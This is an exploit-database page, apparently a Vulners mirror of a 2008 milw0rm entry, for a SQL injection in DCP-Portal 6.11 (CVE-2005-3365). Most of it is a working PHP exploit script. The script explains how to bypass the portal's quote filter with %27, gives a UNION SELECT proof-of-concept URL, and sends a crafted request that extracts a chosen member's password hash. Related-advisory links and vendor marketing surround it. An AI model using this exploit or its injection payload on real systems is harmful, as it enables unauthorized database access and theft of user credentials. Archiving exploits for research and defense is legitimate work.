Lucene search
+L

DCP-Portal 6.11 - SQL Injection (SQLi)

🗓️ 06 Jan 2008 00:00:00Reported by x0ksterType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

DCP-Portal 6.11 Remote SQL Injection Exploi

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
DCP-Portal < 6.1.2 Multiple SQL Injection
16 Feb 200500:00
–nessus
nessus
Tenable Nessus
DCP-Portal Multiple Scripts SQL Injection
16 Feb 200500:00
–nessus
cve
CVE
CVE-2005-3365
29 Oct 200519:00
–cve
cvelist
Cvelist
CVE-2005-3365
29 Oct 200519:00
–cvelist
euvd
EUVD
EUVD-2005-3364
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2005-3365
30 Oct 200514:34
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2005-3365: Improper Neutralization of Special Elements used in an SQL Command
29 Oct 200500:00
–rapid7
#!/usr/bin/php -q
<?php
echo "[*]DCP Portal <= 6.11 Remote SQL Injection Exploit\r\n";
echo "[*]Coded by x0kster -x0kster[AT]gmail[DOT]com - \r\n";
/*
Note : Magic Quotes = 0
Script Download : http://www.dcp-portal.org/

Bug in index.php :

     <?php
     //index.php
     [...]
 60.  $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
     [...]
     ?>

But the script filter the quotes with this code, included in each page of the cms:

     <?php
     //config/config.inc.php
     [...]
118.  if (strlen($_SERVER['QUERY_STRING']) > 0) {
119.  $str = $_SERVER['QUERY_STRING'];
120.  $arr = split('[;&]', URLdecode($str));
121.  $pos = strpos($str, "'");
122.  if ($pos) {
123.  $hackattempt = true;  }
     [...]
     ?>

But we can bypass this control using %27 instead ' :-).

So this is the simple PoC:
http://site/path/index.php?cid=-1%27+union+select+1,password+from+dcp5_members+where+uid=1/*

Exploit :
*/
if ($argc<4) {
 echo "[*]Usage: php ".$argv[0]." host path id\r\n";
 echo "[*]Example:\r\n";
 echo "[*]php ".$argv[0]." localhost /dcp-portal/ 1\r\n";
 die;
}

function get_response($packet){
 global $host, $response;
 $socket=fsockopen(gethostbyname($host),80);
 if (!$socket) { echo "[-]Error contacting $host.\r\n"; exit();}
 fputs($socket,$packet);
 $response='';
 while (!feof($socket)) {
  $response.=fgets($socket);
    }
 fclose($socket);
}

$host =$argv[1];
$path =$argv[2];
$id = $argv[3];

$packet ="GET ".$path."index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=".$id."/*";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

get_response($packet);
if(strstr($response,"x0kster")){
	$hash = explode("x0kster",$response,32);
	echo "[+]Ok, the hash is : $hash[1]\r\n";
	die;
}else{
	echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n";
	die;
}

?>

# milw0rm.com [2008-01-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.06058
31